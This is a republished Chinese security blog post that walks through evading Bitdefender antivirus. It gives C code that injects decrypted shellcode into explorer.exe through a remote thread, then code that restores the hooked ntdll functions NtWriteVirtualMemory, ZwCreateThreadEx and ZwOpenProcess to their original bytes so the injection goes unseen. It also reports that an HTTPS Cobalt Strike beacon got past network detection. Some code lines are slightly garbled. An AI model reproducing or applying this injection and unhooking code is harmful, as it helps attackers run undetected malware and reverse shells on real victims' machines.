Bypass Bitdefender,绕过杀软hook

admin 2022年5月8日18:07:53安全文章评论17 views5708字阅读19分1秒阅读模式

免责声明



本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。


Bypass Bitdefender,绕过杀软hook

文章正文

渗透时,可能会遇到各种各样的的杀软,但每个杀软特性不同,在绕过前,往往都需要分析,本文就Bitdefender进行分析

最近在研究如何免杀,写了一个马,火绒 360 成功绕过(图有点少,当时没存,火绒测试是用的同学的物理机,两台,还有一台没截图;360是虚拟机)


Bypass Bitdefender,绕过杀软hook


Bypass Bitdefender,绕过杀软hook

然后看到Askar大佬的文章,决定试试绕过Bitdenfender,先运行一下,说不定也过了呢(痴心妄想) 结果一运行,连马也给我删了,看看Bitdefender是如何检测的

Bypass Bitdefender,绕过杀软hook

检查我的exe,通过x64debug去调试:

Bypass Bitdefender,绕过杀软hook

发现这里竟然多了一个"atcuf64.dll",而且是Bitdefender的,这非常可疑,大概率是来检查我的行为的,很有可能是Hook我的API,这里看一下我的马用到了哪些API

DWORD CeatRemoThread(DWORD pid)
{
 HANDLE hThread;
 DWORD dwOldProtect;
 DWORD dwThreadId;
 int shellcode_size = sizeof(buf);
 char* newBuf;

 decrypt(buf, shellcode_size, (LPVOID*)&newBuf);   //jiemi

 HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
 if (hHandle == NULL)
 {
  printf("openprocessError");
  free(newBuf);
  return FALSE;
 }
 LPVOID Memory = VirtualAllocEx(hHandle, NULLsizeof(newBuf) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

 SIZE_T dwSize = 0;
 WriteProcessMemory(hHandle, Memory, newBuf, shellcode_size / 3, &dwSize);
 Sleep(3000);
 VirtualProtectEx(hHandle, Memory, shellcode_size / 3, PAGE_EXECUTE, &dwOldProtect);


 HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
 if (hNtdll == NULL)
 {
  printf("[!] LoadNTdll Error,Error is:%dn", GetLastError());
  return FALSE;
 }
 else
 {
  printf("[*] Load ntdll.dll Successfully!n");
 }
#ifdef _WIN64
 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
  PHANDLE ThreadHandle,
  ACCESS_MASK DesiredAccess,
  LPVOID ObjectAttributes,
  HANDLE ProcessHandle,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID lpParameter,
  ULONG CreateThreadFlags,
  SIZE_T ZeroBits,
  SIZE_T StackSize,
  SIZE_T MaximumStackSize,
  LPVOID pUnkown
  )
;
#else
 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
  PHANDLE ThreadHandle,
  ACCESS_MASK DesiredAccess,
  LPVOID ObjectAttributes,
  HANDLE ProcessHandle,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID lpParameter,
  BOOL CreateSuspended,
  DWORD dwStackSize,
  DWORD dw1,
  DWORD dw2,
  LPVOID pUnkown
  )
;
#endif 
 typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
 ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");

 if (ZwCreateThreadEx == NULL)
 {
  printf("[!] Get ZwCreateThreadEx Address Error,Error is:%dn", GetLastError());
  return FALSE;
 }
 else
 {
  printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %xn", ZwCreateThreadEx);
 }
 HANDLE hRemoteThread = NULL;
 DWORD ZwRet = 0;
 ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle,
  (LPTHREAD_START_ROUTINE)Memory, NULL0000NULL);

 if (hRemoteThread == NULL)
 {
  printf("[!] Creat RemoteThread Error,Error is:%dn", GetLastError());
  getchar();
  VirtualFreeEx(hHandle, Memory, 0, MEM_RELEASE);
  CloseHandle(hHandle);
  FreeLibrary(hNtdll);
  return FALSE;
 }

 WaitForSingleObject(hRemoteThread, INFINITE);

 return TRUE;
}

先把杀软喜欢检测的拿出来 VirtualAllocEx WriteProcessMemory ZwCreateThreadEx 这里可以看到我的ZwCreateThreadEx是动态加载的,而且较为底层,先看看WriteProcessMemory,是否被钩住了 使用disasm WriteProcessMemory找到这个API

Bypass Bitdefender,绕过杀软hook

跟进去看看,这里是比WriteProcessMemory更为底层的NtWriteVirtualMemory

Bypass Bitdefender,绕过杀软hook

跟进去看看!

Bypass Bitdefender,绕过杀软hook

似乎是被钩住了,看看本来NtWriteVirtualMemory的样子

Bypass Bitdefender,绕过杀软hook

这里证明确实是被Bitdefender的那个atcuf64.dll钩住了,会发送到这个dll中那里进行检查,监控

这里我希望进行一个unhook的操作,把他E9的4个字节,包括E9还原成原来的硬编码,原来的硬编码为: 4C 8B D1 B8 3A

Bypass Bitdefender,绕过杀软hook

这里更新自己的代码,动态获取NtWriteVirtualMemory的地址并unhook

HMODULE hNtdll = LoadLibrary(L"ntdll.dll");
LPVOID NtWriteVirtualMemory_Address = GetProcAddress(hNtdll, "NtWriteVirtualMemory");
printf("[*] NtWriteVirtualMemory address is : %pn", NtWriteVirtualMemory_Address);
if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "x4Cx8BxD1xB8x3A"5NULL)) {
printf("[*] NtWriteVirtualMemory unhook done!n");

当我单步执行到unhook done后,看到NtWriteVirtualMemory确实已经复原,unhook成功了!

Bypass Bitdefender,绕过杀软hook

再看VirtualAllocEx 似乎并没有被hook

Bypass Bitdefender,绕过杀软hook

先放到一边

再看ZwCreateThreadEx,这个底层的函数同样被hook了

Bypass Bitdefender,绕过杀软hook
Bypass Bitdefender,绕过杀软hook

同样的,我们unhook,改为原来的硬编码 4C 8B D1 B8 C1

代码新增:

typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;
 ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
 if (WriteProcessMemory(GetCurrentProcess(), ZwCreateThreadEx, "x4Cx8BxD1xB8xC1"5NULL)) {
  printf("[*] ZwCreateThreadEx unhooking done!n");
 }

看看效果

Bypass Bitdefender,绕过杀软hook

也已经恢复为原来的硬编码

直接运行试试,应该是可以了,但是运行发现还是被拦截了

Bypass Bitdefender,绕过杀软hook

很难受,但是我发现这里报的毒已经跟之前的不一样了,并且我的马并没有被删!这表明Bitdenfender认为我的exe没有问题,他这里报毒指的是explorer中有cs的马,这属于绕过内存扫描的内容,hook层面已经绕过完成(了吗?)

Bypass Bitdefender,绕过杀软hook

我一开始以为是动态扫描出我的马,但我发现Bitdefender的反应很快,我想到卡巴斯基,马可以上线大概5秒,毕竟扫描也需要时间,但为什么这里一瞬间就挂了,我猜想是Bitdefender监控到了explorer有特殊的行为,或者什么东西操纵了它,一看我调用的API,openprocess这个API很明显,我猜想是不是Bitdefender监控到了我打开过explorer,想到这里我有些激动,一看,果然被挂钩了!

Bypass Bitdefender,绕过杀软hook

尝试unhook,硬编码为4C 8B D1 B8 26 代码:

LPVOID ZwOpenProcess_Address = GetProcAddress(hNtdll, "ZwOpenProcess");

 printf("[*] ZwOpenProcess address is : %pn", ZwOpenProcess_Address);

 if (WriteProcessMemory(GetCurrentProcess(), ZwOpenProcess_Address, "x4Cx8BxD1xB8x26"5NULL)) {
  printf("[*] ZwOpenProcess unhooking done!n");
 }

unhook成功:

Bypass Bitdefender,绕过杀软hook

再测试发现依然没过,这里有点尴尬,重新回来审视报毒

Bypass Bitdefender,绕过杀软hook

我打码的部分是我的ip,英文我也不怎么看的懂,web什么的,他又把ip标记出来,也许是不是内存扫描,是检测到有通信的流量,应该是防火墙

Bypass Bitdefender,绕过杀软hook

反向shell是没有问题,问题是cs太过于出名,他的payload很容易就被识别出来

想了一天,自己构建payload确实超出我的能力,晚上的时候看了下cs还有哪些beacon,突然想到https不是相对于http更加安全吗,是否可以帮助我们绕过,直接上图,成功了!

Bypass Bitdefender,绕过杀软hook


Bypass Bitdefender,绕过杀软hook

我又重新使用http的beacon的payload测试一下,直接给我杀了

Bypass Bitdefender,绕过杀软hook

总结一下这几天绕过杀软的心得: 国产的杀软先不说了,卡巴斯基我在分析的时候发现他似乎并没有hook API,包括静态检测这些方面甚至我不用混淆都能过,但是他的动态扫描内存却是非常头疼的,而Bitdenfender是hook API并且监控敏感流量,但运行过后就没扫描内存,各种杀软都有他们各自擅长的领域,但不可能每个方面都兼顾。要有更好的效果,就没有好的性能。

总述

从这篇文章可以看出,杀软通过hook一些常用api的方式进行shellcode监测,那么绕过这种检查方法很多比如
· 使不被监测hook的WINAPI。
· 使用汇编直接获取ntdll中api函数地址,从而绕过杀软hook,当然各个版本的window地址有差别需要具体分版本判断。
· 修改dll的text区域,修改hook的部分,从而绕过监测。

可以在本公众号后台回复,“hookAPI汇总表”,获取各家杀软hook的api汇总表。

如下bitdefender hook的api函数列表

Bypass Bitdefender,绕过杀软hook

技术交流





交流群



关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

Bypass Bitdefender,绕过杀软hook




知识星球



星球不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全等

Bypass Bitdefender,绕过杀软hook

Bypass Bitdefender,绕过杀软hook

Bypass Bitdefender,绕过杀软hook


Bypass Bitdefender,绕过杀软hook


往期文章:




Postgresql 渗透总结
一篇文章让你拿下用友nc
一篇文章带你学会容器逃逸
PHP代码审计系列(一) 基础:方法、思路、流程
spring cloud function spel表达式注入RCE复现
利用burp精准定位攻击者
从此 Typora 代码块有了颜色
不会写免杀也能轻松过defender上线CS


Bypass Bitdefender,绕过杀软hook

点一下爱心再走吧!

原文始发于微信公众号(Z2O安全攻防):Bypass Bitdefender,绕过杀软hook

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月8日18:07:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Bypass Bitdefender,绕过杀软hook http://cn-sec.com/archives/974777.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: